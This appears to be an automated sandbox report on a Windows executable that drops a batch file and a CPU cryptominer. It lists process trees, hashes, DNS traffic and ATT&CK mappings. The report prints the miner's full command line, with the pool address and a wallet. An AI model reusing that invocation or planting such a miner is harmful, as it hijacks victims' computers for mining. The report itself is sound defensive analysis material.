73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
301s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23/02/2024, 18:55 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
952	b2e.exe
520	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
520	cpuminer-sse2.exe
520	cpuminer-sse2.exe
520	cpuminer-sse2.exe
520	cpuminer-sse2.exe
520	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4932-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 952	4932	batexe.exe	73
PID 4932 wrote to memory of 952	4932	batexe.exe	73
PID 4932 wrote to memory of 952	4932	batexe.exe	73
PID 952 wrote to memory of 696	952	b2e.exe	74
PID 952 wrote to memory of 696	952	b2e.exe	74
PID 952 wrote to memory of 696	952	b2e.exe	74
PID 696 wrote to memory of 520	696	cmd.exe	77
PID 696 wrote to memory of 520	696	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Users\Admin\AppData\Local\Temp\AEED.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AEED.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AEED.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B41D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:696
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:520

Network

DNS

yespower.sea.mine.zpool.ca

cpuminer-sse2.exe

Remote address:

8.8.8.8:53

Request

yespower.sea.mine.zpool.ca

IN A

Response

yespower.sea.mine.zpool.ca

IN A

198.50.168.213
DNS

213.168.50.198.in-addr.arpa

Remote address:

8.8.8.8:53

Request

213.168.50.198.in-addr.arpa

IN PTR

Response

213.168.50.198.in-addr.arpa

IN PTR

minezpoolca
DNS

14.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

14.227.111.52.in-addr.arpa

IN PTR

Response
DNS

27.178.89.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

27.178.89.13.in-addr.arpa

IN PTR

Response
DNS

210.178.17.96.in-addr.arpa

Remote address:

8.8.8.8:53

Request

210.178.17.96.in-addr.arpa

IN PTR

Response

210.178.17.96.in-addr.arpa

IN PTR

a96-17-178-210deploystaticakamaitechnologiescom

198.50.168.213:6234

yespower.sea.mine.zpool.ca

cpuminer-sse2.exe

8.7kB
12.0kB
88
91
127.0.0.1:49817

cpuminer-sse2.exe
127.0.0.1:49819

cpuminer-sse2.exe

8.8.8.8:53

yespower.sea.mine.zpool.ca

dns

cpuminer-sse2.exe

72 B
88 B
1
1

DNS Request

yespower.sea.mine.zpool.ca

DNS Response

198.50.168.213
8.8.8.8:53

213.168.50.198.in-addr.arpa

dns

73 B
100 B
1
1

DNS Request

213.168.50.198.in-addr.arpa
8.8.8.8:53

14.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

14.227.111.52.in-addr.arpa
8.8.8.8:53

27.178.89.13.in-addr.arpa

dns

71 B
145 B
1
1

DNS Request

27.178.89.13.in-addr.arpa
8.8.8.8:53

210.178.17.96.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

210.178.17.96.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\AEED.tmp\b2e.exe

Filesize
1.7MB

MD5
d2a2846044074f75a64a8c9668655d55

SHA1
b53040cac4fb049673a38e42a61897483e69d4a5

SHA256
cc6592e732b8e17ce9879f8ec5cd5a0510c9eb8ef608efc1ce83c1c840572124

SHA512
f14c2b921253e4190cc06ef387c3400ebc74f7804178c96709f22cd0d1a7370a42784e7c3c8b8a9fce75422bc17420385d62cc072b4125b903dcceb5f949d275

Download Submit
C:\Users\Admin\AppData\Local\Temp\AEED.tmp\b2e.exe

Filesize
1.8MB

MD5
fed226671f9daab029aaea0c1bf6c527

SHA1
bacded51e7bf4d82a756351748d561b93e5d56ba

SHA256
e7bed9d6ba6c3e79ef43fb8bf34f6748645e87d47c743fc8ead2ad2003a41304

SHA512
d25d032e623e053e35bf23ba71a5432f3ac3b31eeaf9810352d0561d05e8335837ed0afee8cc0008fb1915646912ca08f134ef9e4aac9170aa63d6a254b57fa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\B41D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.3MB

MD5
3dcb3dafd2bb694bff14e4281700c63d

SHA1
66931a7243e7b4bb1940a26f26d412d03896edf7

SHA256
890cc7c709b267ff6f801f94af78a3582c7d4d9b13143f7a284bf9995c9c32c2

SHA512
553858d81c6e6969b055edca801c69ce1ebd4c41e01acb6f04a2a6e457f4c3da151bdbe1976b772aeee2926f80d66717355e448adf9a086906baf76152d3ce4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.4MB

MD5
02da828512dcb8d69298b03e0f3dc323

SHA1
6214db010af460b5584f40d49119c0788cadb695

SHA256
37e5e2d07f6cbd0d99c716e988286d4d6e10bb58d3d8205790935c2bcca85178

SHA512
de528cf7d3941245e9b917899864cd5b687a868c13dd7dcdb8124151c88ee63ca8da941d1df70def34bd608c83837dc07f5c1f7e96259507d1ae2532e6ce1ea0

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.9MB

MD5
66283ad7cc61930f2be9b5f18b98befc

SHA1
333ed6d0380d29f5fd48ec3c229751dc9f05b481

SHA256
f0b372e4ee13c9c68971ee6774b63022abb79f8c138c820cfe77f599ea3599d9

SHA512
af9c372dea6ad3073e337a78d71f3559d9d1393a128e966263168f077b7b1567e9b49f504b597234e98d1bdd2e3823204d8eb59447ae9c72c941d6f4c899ffff

Download Submit
memory/520-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/520-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/520-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-43-0x000000006CE10000-0x000000006CEA8000-memory.dmp

Filesize
608KB

Download
memory/520-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/520-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-53-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/520-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/520-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/952-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/952-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4932-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

We care about your privacy.